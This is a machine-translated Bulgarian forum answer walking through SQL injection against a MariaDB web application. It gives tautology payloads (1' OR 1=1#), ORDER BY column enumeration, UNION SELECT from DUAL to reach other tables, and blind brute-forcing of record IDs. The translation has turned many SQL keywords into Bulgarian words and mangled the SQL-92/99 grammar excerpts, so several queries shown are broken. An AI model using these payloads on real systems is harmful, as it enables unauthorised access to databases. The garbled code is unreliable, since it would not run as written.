Mysql
 sql >> база данни >  >> RDS >> Mysql

MariaDb SQL инжекция

Добре, нека се позабавляваме тогава.

Когато погледна съобщението за грешка

Предполагам, че заявката и кодът в приложението са повече или по-малко като този псевдомъдър, @o всъщност е потребителска променлива на MySQL..

ИЗБЕРЕТЕ *FROM DUMMY_TABLEWHERE DUMMY_TABLE.o ='",@o,"'LIMIT 10  

Ще използвам SQL цигулка пространство за симулиране на тест за инжектиране на SQL и повече получаване на възможен достъп до други таблици.

Можете да тествате вашата инжекция с 1' ИЛИ ​​1 =1# или 1' ИЛИ ​​1 =1-- и двете трябва да работят и трябва да ви дават същия резултат, когато използвате 1 като вход. Това е, защото MariaDB автоматично прехвърля типовете за други бази данни, които може да се наложи да използвате по-строгата версия 1' ИЛИ ​​'1' ='1#

Което трябва да генерира

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ИЛИ ​​1 =1#' LIMIT 10  

Или

ИЗБЕРЕТЕ * ОТ DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ИЛИ ​​1 =1--' LIMIT 10  

След това, тъй като виждате грешки в приложението, можете да използвате ПОРЪЧАЙТЕ ПО 1 за да проверите колко колони са избрани и увеличавайте броя, докато не получите грешка.

Грешка:ER_BAD_FIELD_ERROR:Неизвестна колона „2“ в „клауза за поръчка“

Инжектирайте с

1' ПОРЪЧАЙТЕ С 1# или 1' ПОРЪЧАЙТЕ С 1--

Което означава сортиране в първата колона в набора от резултати НЕ сортиране 1 буквално.

Генерира

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ПОРЪЧАЙ С 1#' LIMIT 10  

Или

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ПОРЪЧАЙ С 1--' LIMIT 10  

Когато знаете колоните, можете да използвате UNION за да влезете в други маси. Използвайте NULL ако не ви трябват всички колони.

инжекция

1' UNION ALL SELECT NULL ОТ DUAL#

Имайте предвид, че DUAL е "виртуална" несъществуваща таблица в MariaDB, MySQL и Oracle, ако можете да направите заявка за тази "таблица", това означава, че технически можете да влезете в други таблици.

генериран SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10  

И ако уеб страницата е проектирана като страница с "подробности", където един запис винаги се вижда, трябва да добавите LIMIT 1, 1 във вашата инжекция.

Ами ако няма видими грешки в уеб приложението, вие просто трябва да можете сляпо да насилвате geuss със слепи SQL инжекции и да видите как работи приложението.
Опитайте също неща като ?o=0 , ?o=NULL или много високи числа като максималната INT стойност (подписан) ?o=2147483647 или (неподписан) ?o=4294967295 преди да се опитате да насилите използвания номер на колона, за да знаете как приложението обработва записи, които не могат да бъдат намерени. Тъй като е много малко вероятно да има идентификатор 0 или тези високи числа в INT тип данни, защото приложението ще спре да работи, ако е дадено последното число. Ако все още получавате запис с тези високи числа, използвайте максималните стойности за BIGINT вместо това тип данни.

За колона 1 същият идентификатор на резултата o=1
1' UNION ALL SELECT 1 ОТ ДВОЙНО ОГРАНИЧЕНИЕ 1, 1#

За колони 2, които ще допуснат грешка, но най-вероятно ще видите страница за грешка или съобщение, че записът не е намерен.
Или сладко състояние на грешка HTTP 404 (Не е намерено).
1' UNION ALL SELECT 1 ОТ ДВОЙНО ОГРАНИЧЕНИЕ 1, 1#

Един проблем, който може да получите, когато използвате LIMIT без използване на ПОРЪЧАЙ ПО може да има шанс да получите същите записи, тъй като стандартът на SQL е дефинирал, че SQL таблиците/наборите с резултати са без поръчка без използване на ПОРЪЧАЙ ПО

Така че в идеалния случай трябва да продължите да използвате ORDER BY 1 в грубите сили.

1' UNION ALL SELECT 1 ОТ ДВОЙНА ПОРЪЧКА ПО 1 DESC# 

И

1' UNION ВСИЧКИ ИЗБЕРЕТЕ 1 ОТ ДВОЙНА ПОРЪЧКА С 1 ОГРАНИЧЕНИЕ НА DESC 1, 1# 

Базите данни поддържат ORDER BY 1 е по-добре, отколкото си мислех отначало, тъй като работи в MySQL, MariaDB, SQL Server (MSSQL) и PostgreSQL.

Също така ПОРЪЧАЙТЕ С 1 беше функция на SQL 92, която беше премахната в SQL 99.
Така че всъщност SQL бази данни не трябва да изпълняват ORDER BY 1 annymore, ако следват SQL стандартите по този въпрос.

SQL 92 BNF

<предварителен>код> <списък със спецификации за сортиране> ::=<спецификация за сортиране> [ { <запетая> <спецификация за сортиране> }... ] <спецификация за сортиране> ::=<ключ за сортиране> [ <клауза за сортиране> ] [ <спецификация за поръчка> ] <ключ за сортиране> ::=<име на колона> | <цело число без знак> # <- тук е <спецификация на поръчката> ::=ASC | DESC

срещу SQL 1999 BNF

<предварителен>код> <списък със спецификации за сортиране> ::=<спецификация за сортиране> [ { <запетая> <спецификация за сортиране> }... ] <спецификация за сортиране> ::=<ключ за сортиране> [ <клауза за сортиране> ] [ <спецификация за поръчка> ] <ключ за сортиране> ::=<име на колона> # <- липсва <спецификация за поръчка> ::=ASC | DESC

  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Woocommerce:Потребителите могат да купуват продукт само веднъж

  2. Как да изпълним MySQL команда от шел скрипт?

  3. Дублиран запис „0“ за ключ „PRIMARY“

  4. Едно поле на MySQL със стойности, разделени със запетая

  5. Как да конвертирате MySQL JSON масив в низ, разделен със запетая